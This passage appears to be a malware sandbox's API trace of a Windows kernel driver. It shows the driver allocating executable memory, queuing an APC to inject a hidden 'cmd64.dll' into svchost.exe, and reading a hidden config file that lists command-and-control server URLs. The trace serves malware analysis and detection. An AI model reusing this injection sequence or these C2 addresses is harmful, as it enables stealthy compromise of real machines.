Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.416] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.416] IdePortDispatch () returned 0x103 [0076.416] KeWaitForMutexObject () returned 0x0 [0076.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.416] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.416] IdePortDispatch () returned 0x103 [0076.416] KeWaitForMutexObject () returned 0x0 [0076.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.416] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.416] IdePortDispatch () returned 0x103 [0076.416] KeWaitForMutexObject () returned 0x0 [0076.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.417] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.417] IdePortDispatch () returned 0x103 [0076.417] KeWaitForMutexObject () returned 0x0 [0076.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.417] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.417] IdePortDispatch () returned 0x103 [0076.417] KeWaitForMutexObject () returned 0x0 [0076.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.417] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.417] IdePortDispatch () returned 0x103 [0076.417] KeWaitForMutexObject () returned 0x0 [0076.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.417] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.417] IdePortDispatch () returned 0x103 [0076.418] KeWaitForMutexObject () returned 0x0 [0076.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.418] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.418] IdePortDispatch () returned 0x103 [0076.418] KeWaitForMutexObject () returned 0x0 [0076.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.418] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.418] IdePortDispatch () returned 0x103 [0076.418] KeWaitForMutexObject () returned 0x0 [0076.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.418] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.418] IdePortDispatch () returned 0x103 [0076.419] KeWaitForMutexObject () returned 0x0 [0076.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.419] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.419] IdePortDispatch () returned 0x103 [0076.419] KeWaitForMutexObject () returned 0x0 [0076.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.419] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.419] IdePortDispatch () returned 0x103 [0076.419] KeWaitForMutexObject () returned 0x0 [0076.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.419] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.419] IdePortDispatch () returned 0x103 [0076.419] KeWaitForMutexObject () returned 0x0 [0076.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.419] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.420] IdePortDispatch () returned 0x103 [0076.420] KeWaitForMutexObject () returned 0x0 [0076.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.420] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.420] IdePortDispatch () returned 0x103 [0076.420] KeWaitForMutexObject () returned 0x0 [0076.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.420] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.420] IdePortDispatch () returned 0x103 [0076.420] KeWaitForMutexObject () returned 0x0 [0076.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.420] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.420] IdePortDispatch () returned 0x103 [0076.421] KeWaitForMutexObject () returned 0x0 [0076.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.421] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.421] IdePortDispatch () returned 0x103 [0076.421] KeWaitForMutexObject () returned 0x0 [0076.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.421] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.421] IdePortDispatch () returned 0x103 [0076.421] KeWaitForMutexObject () returned 0x0 [0076.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.421] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.421] IdePortDispatch () returned 0x103 [0076.422] KeWaitForMutexObject () returned 0x0 [0076.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.422] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0076.422] IdePortDispatch () returned 0x103 [0076.422] KeWaitForMutexObject () returned 0x0 [0076.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.422] KeLeaveCriticalRegion () [0076.422] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.422] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000284, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0076.422] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0076.422] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0076.422] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000284, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x50000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0076.422] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0076.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80035c0510 [0076.422] KeInitializeApc (Apc=0xfffffa80035c0510, Thread=0xfffffa80035c9060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0076.422] KeInsertQueueApc (Apc=0xfffffa80035c0510, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0076.422] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0076.423] ZwClose (Handle=0x14) returned 0x0 [0076.423] ZwClose (Handle=0xffffffff80000294) returned 0x0 [0076.423] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0076.423] KeEnterCriticalRegion () [0076.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.423] IoGetRequestorProcess (Irp=0xfffffa80035c45a0) returned 0xfffffa80018ab040 [0076.423] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80035c9630, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0076.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.423] KeLeaveCriticalRegion () [0076.423] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.423] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0076.423] PsGetProcessImageFileName () returned 0xfffffa80035c7910 [0076.423] _snprintf (in: _Dest=0xfffffa80035d0378, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0076.423] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0076.423] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000294, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0076.423] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.423] KeEnterCriticalRegion () [0076.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.423] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0076.423] IdePortDispatch () returned 0x103 [0076.423] KeWaitForMutexObject () returned 0x0 [0076.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.423] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0076.423] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0076.423] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0076.423] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035c2520 [0076.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.423] KeLeaveCriticalRegion () [0076.423] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.424] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0076.424] NtLockFile (in: FileHandle=0xffffffff80000294, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0076.424] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.424] KeEnterCriticalRegion () [0076.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80035c45a0, Context=0x0) returned 0x0 [0076.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.424] KeLeaveCriticalRegion () [0076.424] ZwQueryInformationFile (in: FileHandle=0xffffffff80000294, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0076.424] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.424] KeEnterCriticalRegion () [0076.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800343bd20 [0076.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0076.424] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0076.424] IdePortDispatch () returned 0x103 [0076.424] KeWaitForMutexObject () returned 0x0 [0076.424] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.424] KeLeaveCriticalRegion () [0076.424] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.424] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000a53720 [0076.424] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0076.424] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0076.424] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0076.424] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0076.424] ZwReadFile (in: FileHandle=0xffffffff80000294, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a000a53720, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a000a53720*) returned 0x0 [0076.424] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.424] KeEnterCriticalRegion () [0076.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.424] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d46720 [0076.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800d30e960 [0076.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0076.424] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0076.424] IdePortDispatch () returned 0x103 [0076.425] KeWaitForMutexObject () returned 0x0 [0076.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0076.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80035ca550 [0076.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80035ca550 | out: Irp=0xfffffa80035ca550) returned 0xfffffa800d30e960 [0076.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0076.425] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0076.425] IdePortDispatch () returned 0x103 [0076.425] KeWaitForMutexObject () returned 0x0 [0076.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.425] KeLeaveCriticalRegion () [0076.425] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.425] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0076.425] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0076.425] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0076.425] ExFreePoolWithTag (P=0xfffff8a000a53720, Tag=0x0) [0076.425] ZwClose (Handle=0xffffffff80000294) returned 0x0 [0076.425] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0076.425] KeEnterCriticalRegion () [0076.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.425] IoGetRequestorProcess (Irp=0xfffffa80035c45a0) returned 0xfffffa80018ab040 [0076.425] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80035c8f20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0076.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0076.425] KeLeaveCriticalRegion () [0076.425] IofCompleteRequest (Irp=0xfffffa80035c45a0, PriorityBoost=0) [0076.425] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" 